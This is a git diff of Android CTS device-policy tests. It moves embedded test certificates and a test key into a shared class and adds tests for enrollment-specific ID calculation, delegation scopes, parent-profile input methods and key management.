-            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
-            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
-            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
-            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
-            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
-            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
-            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
-            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
-            "wQ==\n" +
-            "-----END CERTIFICATE-----";
-    // Content from userkey.pem without the private key header and footer.
-    private static final String TEST_KEY =
-            "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALCYprGsTU+5L3KM\n" +
-            "fhkm0gXM2xjGUH+543YLiMPGVr3eVS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqU\n" +
-            "mhegxG4s3IvGYVB0KZoRIjDKmnnvlx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T\n" +
-            "9sV6zW2Wzri+f5mvzKjhnArbLktHAgMBAAECgYBlfVVPhtZnmuXJzzQpAEZzTugb\n" +
-            "tN1OimZO0RIocTQoqj4KT+HkiJOLGFQPwbtFpMre+q4SRqNpM/oZnI1yRtKcCmIc\n" +
-            "mZgkwJ2k6pdSxqO0ofxFFTdT9czJ3rCnqBHy1g6BqUQFXT4olcygkxUpKYUwzlz1\n" +
-            "oAl487CoPxyr4sVEAQJBANwiUOHcdGd2RoRILDzw5WOXWBoWPOKzX/K9wt0yL+mO\n" +
-            "wlFNFSymqo9eLheHcEq/VD9qK9rT700dCewJfWj6+bECQQDNXmWNYIxGii5NJilT\n" +
-            "OBOHiMD/F0NE178j+/kmacbhDJwpkbLYXaP8rW4+Iswrm4ORJ59lvjNuXaZ28+sx\n" +
-            "fFp3AkA6Z7Bl/IO135+eATgbgx6ZadIqObQ1wbm3Qbmtzl7/7KyJvZXcnuup1icM\n" +
-            "fxa//jtwB89S4+Ad6ZJ0WaA4dj5BAkEAuG7V9KmIULE388EZy8rIfyepa22Q0/qN\n" +
-            "hdt8XasRGHsio5Jdc0JlSz7ViqflhCQde/aBh/XQaoVgQeO8jKyI8QJBAJHekZDj\n" +
-            "WA0w1RsBVVReN1dVXgjm1CykeAT8Qx8TUmBUfiDX6w6+eGQjKtS7f4KC2IdRTV6+\n" +
-            "bDzDoHBChHNC9ms=\n";
-
-    // Content from usercert.pem without the header and footer.
-    private static final String TEST_CERT =
-            "MIIDEjCCAfqgAwIBAgIBATANBgkqhkiG9w0BAQsFADBFMQswCQYDVQQGEwJBVTET\n" +
-            "MBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQ\n" +
-            "dHkgTHRkMB4XDTE1MDUwMTE2NTQwNVoXDTI1MDQyODE2NTQwNVowWzELMAkGA1UE\n" +
-            "BhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdp\n" +
-            "ZGdpdHMgUHR5IEx0ZDEUMBIGA1UEAwwLY2xpZW50IGNlcnQwgZ8wDQYJKoZIhvcN\n" +
-            "AQEBBQADgY0AMIGJAoGBALCYprGsTU+5L3KMfhkm0gXM2xjGUH+543YLiMPGVr3e\n" +
-            "VS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqUmhegxG4s3IvGYVB0KZoRIjDKmnnv\n" +
-            "lx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T9sV6zW2Wzri+f5mvzKjhnArbLktH\n" +
-            "AgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2Vu\n" +
-            "ZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBQ8GL+jKSarvTn9fVNA2AzjY7qq\n" +
-            "gjAfBgNVHSMEGDAWgBRzBBA5sNWyT/fK8GrhN3tOqO5tgjANBgkqhkiG9w0BAQsF\n" +
-            "AAOCAQEAgwQEd2bktIDZZi/UOwU1jJUgGq7NiuBDPHcqgzjxhGFLQ8SQAAP3v3PR\n" +
-            "mLzcfxsxnzGynqN5iHQT4rYXxxaqrp1iIdj9xl9Wl5FxjZgXITxhlRscOd/UOBvG\n" +
-            "oMrazVczjjdoRIFFnjtU3Jf0Mich68HD1Z0S3o7X6sDYh6FTVR5KbLcxbk6RcoG4\n" +
-            "VCI5boR5LUXgb5Ed5UxczxvN12S71fyxHYVpuuI0z0HTIbAxKeRw43I6HWOmR1/0\n" +
-            "G6byGCNL/1Fz7Y+264fGqABSNTKdZwIU2K4ANEH7F+9scnhoO6OBp+gjBe5O+7jb\n" +
-            "wZmUCAoTka4hmoaOCj7cqt/IkmxozQ==\n";
-
     private DevicePolicyManager mDpm;
     private volatile boolean mReceivedResult;
     private volatile Exception mReceivedException;
@@ -178,7 +111,7 @@
     @Override
     public void tearDown() throws Exception {
         mContext.unregisterReceiver(receiver);
-        mDpm.uninstallCaCert(ADMIN_RECEIVER_COMPONENT, TEST_CA.getBytes());
+        mDpm.uninstallCaCert(ADMIN_RECEIVER_COMPONENT, TestCertificates.TEST_CA.getBytes());
         // Installed private key pair will be removed once the lockscreen password is cleared,
         // which is done in the hostside test.
         mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
@@ -187,7 +120,7 @@
 
     public void testCaCertsOperations() throws InterruptedException, GeneralSecurityException,
            KeyStoreException, IOException {
-        final byte[] cert = TEST_CA.getBytes();
+        final byte[] cert = TestCertificates.TEST_CA.getBytes();
         final Certificate caCert = CertificateFactory.getInstance("X.509")
                 .generateCertificate(new ByteArrayInputStream(cert));
 
@@ -239,7 +172,7 @@
         mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
         // The app is not the cert installer , it shouldn't have have privilege to call
         // installKeyPair().
-        installKeyPair(TEST_KEY, TEST_CERT, alias);
+        installKeyPair(TestCertificates.TEST_KEY, TestCertificates.TEST_CERT, alias);
         assertResult("installKeyPair", false);
 
         // Set the app to be cert installer.
@@ -248,7 +181,7 @@
                 mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT));
 
         // Exercise installKeyPair()
-        installKeyPair(TEST_KEY, TEST_CERT, alias);
+        installKeyPair(TestCertificates.TEST_KEY, TestCertificates.TEST_CERT, alias);
         assertResult("installKeyPair", true);
     }
 
@@ -313,6 +246,19 @@
         assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
     }
 
+    public void testCanReadEnrollmentSpecificId() throws InterruptedException {
+        // Set the organization ID only if not already set, to avoid potential conflict
+        // with other tests.
+        if (mDpm.getEnrollmentSpecificId().isEmpty()) {
+            mDpm.setOrganizationId("SOME_ID");
+        }
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
+                CERT_INSTALL_SCOPES);
+
+        readEnrollmentId();
+        assertResult("testCanReadEnrollmentSpecificId", true);
+    }
+
     private void installCaCert(byte[] cert) {
         Intent intent = new Intent();
         intent.setAction(ACTION_INSTALL_CERT);
@@ -373,4 +319,12 @@
         intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         mContext.sendBroadcast(intent);
     }
+
+    private void readEnrollmentId() {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_READ_ENROLLMENT_SPECIFIC_ID);
+        intent.setComponent(CERT_INSTALLER_COMPONENT);
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        mContext.sendBroadcast(intent);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
index 795b3e8..5648037 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
@@ -22,9 +22,13 @@
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
 import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
 import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
 import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertThrows;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -186,23 +190,53 @@
                 .contains(TEST_PKG));
     }
 
-    public void testDeviceOwnerOnlyDelegationsOnlyPossibleToBeSetByDeviceOwner() throws Exception {
-        final String doDelegations[] = {
-                DELEGATION_NETWORK_LOGGING};
+    public void testDeviceOwnerOrManagedPoOnlyDelegations() throws Exception {
+        final String [] doOrManagedPoDelegations = { DELEGATION_NETWORK_LOGGING };
         final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
                 mContext.getPackageName());
-        for (String scope : doDelegations) {
-            try {
-                mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG,
-                        Collections.singletonList(scope));
-                if (!isDeviceOwner()) {
-                    fail("PO shouldn't be able to delegate "+ scope);
+        final boolean isManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
+                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT);
+        for (String scope : doOrManagedPoDelegations) {
+            if (isDeviceOwner || isManagedProfileOwner) {
+                try {
+                    mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG,
+                            Collections.singletonList(scope));
+                } catch (SecurityException e) {
+                    fail("DO or managed PO fails to delegate " + scope + " exception: " + e);
+                    Log.e(TAG, "DO or managed PO fails to delegate " + scope, e);
                 }
-            } catch (SecurityException e) {
-                if (isDeviceOwner) {
-                    fail("DO fails to delegate " + scope + " exception: " + e);
-                    Log.e(TAG, "DO fails to delegate " + scope, e);
+            } else {
+                assertThrows("PO not in a managed profile shouldn't be able to delegate " + scope,
+                        SecurityException.class,
+                        () -> mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
+                                DELEGATE_PKG, Collections.singletonList(scope)));
+            }
+        }
+    }
+
+    public void testDeviceOwnerOrOrgOwnedManagedPoOnlyDelegations() throws Exception {
+        final String [] doOrOrgOwnedManagedPoDelegations = { DELEGATION_SECURITY_LOGGING };
+        final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
+                mContext.getPackageName());
+        final boolean isOrgOwnedManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
+                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT)
+                && mDevicePolicyManager.isOrganizationOwnedDeviceWithManagedProfile();
+        for (String scope : doOrOrgOwnedManagedPoDelegations) {
+            if (isDeviceOwner || isOrgOwnedManagedProfileOwner) {
+                try {
+                    mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG,
+                            Collections.singletonList(scope));
+                } catch (SecurityException e) {
+                    fail("DO or organization-owned managed PO fails to delegate " + scope
+                            + " exception: " + e);
+                    Log.e(TAG, "DO or organization-owned managed PO fails to delegate " + scope, e);
                 }
+            } else {
+                assertThrows("PO not in an organization-owned managed profile shouldn't be able to "
+                        + "delegate " + scope,
+                        SecurityException.class,
+                        () -> mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
+                                DELEGATE_PKG, Collections.singletonList(scope)));
             }
         }
     }
@@ -212,6 +246,7 @@
                 DELEGATION_CERT_SELECTION));
         if (mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName())) {
             exclusiveDelegations.add(DELEGATION_NETWORK_LOGGING);
+            exclusiveDelegations.add(DELEGATION_SECURITY_LOGGING);
         }
         for (String scope : exclusiveDelegations) {
             testExclusiveDelegation(scope);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
index c9576f7..22c17a2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
@@ -21,6 +21,7 @@
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT;
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_SECURE_CAMERA;
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
 import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT;
 import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
@@ -61,6 +62,7 @@
         mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 19);
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
     }
 
     public void testLockNowLogged() {
@@ -184,6 +186,11 @@
         mDevicePolicyManager.setUninstallBlocked(ADMIN_RECEIVER_COMPONENT, PACKAGE_NAME, false);
     }
 
+    public void testSetPreferentialNetworkServiceEnabledLogged() {
+        mDevicePolicyManager.setPreferentialNetworkServiceEnabled(true);
+        mDevicePolicyManager.setPreferentialNetworkServiceEnabled(false);
+    }
+
     public void testDisallowAdjustVolumeMutedLogged() {
         final boolean initialValue =
                 mDevicePolicyManager.isMasterVolumeMuted(ADMIN_RECEIVER_COMPONENT);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
new file mode 100644
index 0000000..2ed2c1a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.net.wifi.WifiManager;
+import android.os.Build;
+import android.telephony.TelephonyManager;
+
+import java.nio.ByteBuffer;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+
+import javax.crypto.Mac;
+import javax.crypto.spec.SecretKeySpec;
+
+/**
+ * Tests for the Enrollment-Specific ID functionality.
+ *
+ * NOTE: Tests in this class need to be run separately from the host-side since each
+ * sets a non-resettable Organization ID, so the DPC needs to be completely removed
+ * before each test.
+ */
+public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest {
+    private static final String[] PERMISSIONS_TO_ADOPT = {
+            "android.permission.READ_PRIVILEGED_PHONE_STATE",
+            "android.permission.NETWORK_SETTINGS",
+            "android.permission.LOCAL_MAC_ADDRESS"};
+    private static final String ORGANIZATION_ID = "abcxyz123";
+    private UiAutomation mUiAutomation;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mUiAutomation = getInstrumentation().getUiAutomation();
+    }
+
+    public void testThrowsForEmptyOrganizationId() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mDevicePolicyManager.setOrganizationId(""));
+    }
+
+    public void testThrowsWhenTryingToReSetOrganizationId() {
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+
+        mDevicePolicyManager.setOrganizationId("abc");
+        final String firstEsid = mDevicePolicyManager.getEnrollmentSpecificId();
+        assertThat(firstEsid).isNotEmpty();
+
+        assertThrows(IllegalStateException.class,
+                () -> mDevicePolicyManager.setOrganizationId("xyz"));
+    }
+
+    /**
+     * This test tests that the platform calculates the ESID according to the specification and
+     * does not, for example, return the same ESID regardless of the managing package.
+     */
+    public void testCorrectCalculationOfEsid() {
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+        mDevicePolicyManager.setOrganizationId(ORGANIZATION_ID);
+        final String esidFromDpm = mDevicePolicyManager.getEnrollmentSpecificId();
+        final String calculatedEsid = calculateEsid(ADMIN_RECEIVER_COMPONENT.getPackageName(),
+                ORGANIZATION_ID);
+        assertThat(esidFromDpm).isEqualTo(calculatedEsid);
+    }
+
+    private String calculateEsid(String profileOwnerPackage, String enterpriseIdString) {
+        TelephonyManager telephonyService = mContext.getSystemService(TelephonyManager.class);
+        assertThat(telephonyService).isNotNull();
+
+        WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        final byte[] serialNumber = getPaddedHardwareIdentifier(Build.getSerial()).getBytes();
+        final byte[] imei = getPaddedHardwareIdentifier(telephonyService.getImei(0)).getBytes();
+        final byte[] meid = getPaddedHardwareIdentifier(telephonyService.getMeid(0)).getBytes();
+
+        final byte[] macAddress;
+        final String[] macAddresses = wifiManager.getFactoryMacAddresses();
+        if (macAddresses == null || macAddresses.length == 0) {
+            macAddress = "".getBytes();
+        } else {
+            macAddress = macAddresses[0].getBytes();
+        }
+
+        final int totalIdentifiersLength = serialNumber.length + imei.length + meid.length
+                + macAddress.length;
+        final ByteBuffer fixedIdentifiers = ByteBuffer.allocate(totalIdentifiersLength);
+        fixedIdentifiers.put(serialNumber);
+        fixedIdentifiers.put(imei);
+        fixedIdentifiers.put(meid);
+        fixedIdentifiers.put(macAddress);
+
+        final byte[] dpcPackage = getPaddedProfileOwnerName(profileOwnerPackage).getBytes();
+        final byte[] enterpriseId = getPaddedEnterpriseId(enterpriseIdString).getBytes();
+        final ByteBuffer info = ByteBuffer.allocate(dpcPackage.length + enterpriseId.length);
+        info.put(dpcPackage);
+        info.put(enterpriseId);
+        final byte[] esidBytes = computeHkdf("HMACSHA256", fixedIdentifiers.array(), null,
+                info.array(), 16);
+        ByteBuffer esidByteBuffer = ByteBuffer.wrap(esidBytes);
+
+        return encodeBase32(esidByteBuffer.getLong()) + encodeBase32(esidByteBuffer.getLong());
+    }
+
+    private static String getPaddedHardwareIdentifier(String hardwareIdentifier) {
+        if (hardwareIdentifier == null) {
+            hardwareIdentifier = "";
+        }
+        return String.format("%16s", hardwareIdentifier);
+    }
+
+    private static String getPaddedProfileOwnerName(String profileOwnerPackage) {
+        return String.format("%64s", profileOwnerPackage);
+    }
+
+    private static String getPaddedEnterpriseId(String enterpriseId) {
+        return String.format("%64s", enterpriseId);
+    }
+
+    // Copied from android.security.identity.Util, here to make sure Enterprise-Specific ID is
+    // calculated according to spec.
+    @NonNull
+    private static byte[] computeHkdf(
+            @NonNull String macAlgorithm, @NonNull final byte[] ikm, @NonNull final byte[] salt,
+            @NonNull final byte[] info, int size) {
+        Mac mac = null;
+        try {
+            mac = Mac.getInstance(macAlgorithm);
+        } catch (NoSuchAlgorithmException e) {
+            throw new RuntimeException("No such algorithm: " + macAlgorithm, e);
+        }
+        if (size > 255 * mac.getMacLength()) {
+            throw new RuntimeException("size too large");
+        }
+        try {
+            if (salt == null || salt.length == 0) {
+                // According to RFC 5869, Section 2.2 the salt is optional. If no salt is provided
+                // then HKDF uses a salt that is an array of zeros of the same length as the hash
+                // digest.
+                mac.init(new SecretKeySpec(new byte[mac.getMacLength()], macAlgorithm));
+            } else {
+                mac.init(new SecretKeySpec(salt, macAlgorithm));
+            }
+            byte[] prk = mac.doFinal(ikm);
+            byte[] result = new byte[size];
+            int ctr = 1;
+            int pos = 0;
+            mac.init(new SecretKeySpec(prk, macAlgorithm));
+            byte[] digest = new byte[0];
+            while (true) {
+                mac.update(digest);
+                mac.update(info);
+                mac.update((byte) ctr);
+                digest = mac.doFinal();
+                if (pos + digest.length < size) {
+                    System.arraycopy(digest, 0, result, pos, digest.length);
+                    pos += digest.length;
+                    ctr++;
+                } else {
+                    System.arraycopy(digest, 0, result, pos, size - pos);
+                    break;
+                }
+            }
+            return result;
+        } catch (InvalidKeyException e) {
+            throw new RuntimeException("Error MACing", e);
+        }
+    }
+
+    private static final char[] ENCODE = {
+            'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+            'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+            'Y', 'Z', '2', '3', '4', '5', '6', '7',
+    };
+
+    private static final char SEPARATOR = '-';
+    private static final int LONG_SIZE = 13;
+    private static final int GROUP_SIZE = 4;
+
+    private static String encodeBase32(long input) {
+        final char[] alphabet = ENCODE;
+
+        /*
+         * Make a character array with room for the separators between each
+         * group.
+         */
+        final char[] encoded = new char[LONG_SIZE + (LONG_SIZE / GROUP_SIZE)];
+
+        int index = encoded.length;
+        for (int i = 0; i < LONG_SIZE; i++) {
+            /*
+             * Make sure we don't put a separator at the beginning. Since we're
+             * building from the rear of the array, we use (LONG_SIZE %
+             * GROUP_SIZE) to make the odd-size group appear at the end instead
+             * of the beginning.
+             */
+            if (i > 0 && (i % GROUP_SIZE) == (LONG_SIZE % GROUP_SIZE)) {
+                encoded[--index] = SEPARATOR;
+            }
+
+            /*
+             * Extract 5 bits of data, then shift it out.
+             */
+            final int group = (int) (input & 0x1F);
+            input >>>= 5;
+
+            encoded[--index] = alphabet[group];
+        }
+
+        return String.valueOf(encoded);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java
index ed5047c..b2f0d8f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/InputMethodsTest.java
@@ -18,6 +18,9 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 
 import java.util.ArrayList;
@@ -46,6 +49,31 @@
                 .containsExactlyElementsIn(packages);
     }
 
+    public void testPermittedInputMethodsOnParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        // All input methods are allowed.
+        parentDevicePolicyManager.setPermittedInputMethods(ADMIN_RECEIVER_COMPONENT, null);
+        assertThat(parentDevicePolicyManager.getPermittedInputMethods(
+                ADMIN_RECEIVER_COMPONENT)).isNull();
+
+        // Only system input methods are allowed.
+        parentDevicePolicyManager.setPermittedInputMethods(ADMIN_RECEIVER_COMPONENT,
+                new ArrayList<>());
+        assertThat(parentDevicePolicyManager.getPermittedInputMethods(
+                ADMIN_RECEIVER_COMPONENT)).isEmpty();
+    }
+
+    public void testPermittedInputMethodsOnParentThrowsIfPackageListIsNotEmptyOrNull() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        final List<String> packages = Arrays.asList("com.google.pkg.one", "com.google.pkg.two");
+
+        assertThrows(IllegalArgumentException.class,
+                () -> parentDevicePolicyManager
+                        .setPermittedInputMethods(ADMIN_RECEIVER_COMPONENT, packages));
+    }
+
     public void testPermittedInputMethodsThrowsIfWrongAdmin() {
         try {
             mDevicePolicyManager.setPermittedInputMethods(badAdmin, null);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 2f7444d..95d6b9c 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -21,9 +21,14 @@
 import static android.app.admin.DevicePolicyManager.ID_TYPE_MEID;
 import static android.app.admin.DevicePolicyManager.ID_TYPE_SERIAL;
 import static android.keystore.cts.CertificateUtils.createCertificate;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -32,6 +37,7 @@
 import android.keystore.cts.AuthorizationList;
 import android.net.Uri;
 import android.os.Build;
+import android.os.Process;
 import android.security.AttestedKeyPair;
 import android.security.KeyChain;
 import android.security.KeyChainAliasCallback;
@@ -41,7 +47,9 @@
 import android.security.keystore.StrongBoxUnavailableException;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
+
 import com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -65,13 +73,25 @@
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Map;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+
 import javax.security.auth.x500.X500Principal;
 
 public class KeyManagementTest extends BaseDeviceAdminTest {
     private static final long KEYCHAIN_TIMEOUT_MINS = 6;
 
+    private static final String TEST_ALIAS = "KeyManagementTest-keypair";
+    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+
+    private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
+    private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
+
+    private PrivateKey mFakePrivKey;
+    private Certificate mFakeCert;
+
     private static class SupportedKeyAlgorithm {
         public final String keyAlgorithm;
         public final String signatureAlgorithm;
@@ -98,6 +118,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+
+        mFakePrivKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
+        mFakeCert = getCertificate(FAKE_RSA_1.caCertificate);
+
         final UiDevice device = UiDevice.getInstance(getInstrumentation());
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 KeyManagementActivity.class, null);
@@ -107,16 +131,16 @@
     @Override
     public void tearDown() throws Exception {
         mActivity.finish();
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
         super.tearDown();
     }
 
     public void testCanInstallAndRemoveValidRsaKeypair() throws Exception {
         final String alias = "com.android.test.valid-rsa-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypair.
-        assertThat(mDevicePolicyManager.installKeyPair(getWho(), privKey, cert, alias)).isTrue();
+        assertThat(mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, mFakeCert, alias))
+                .isTrue();
         try {
             // Request and retrieve using the alias.
             assertGranted(alias, false);
@@ -136,17 +160,15 @@
     public void testCanInstallWithAutomaticAccess() throws Exception {
         final String grant = "com.android.test.autogrant-key-1";
         final String withhold = "com.android.test.nongrant-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypairs.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, grant, true))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, grant, true))
                 .isTrue();
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, withhold, false))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, withhold, false))
                 .isTrue();
         try {
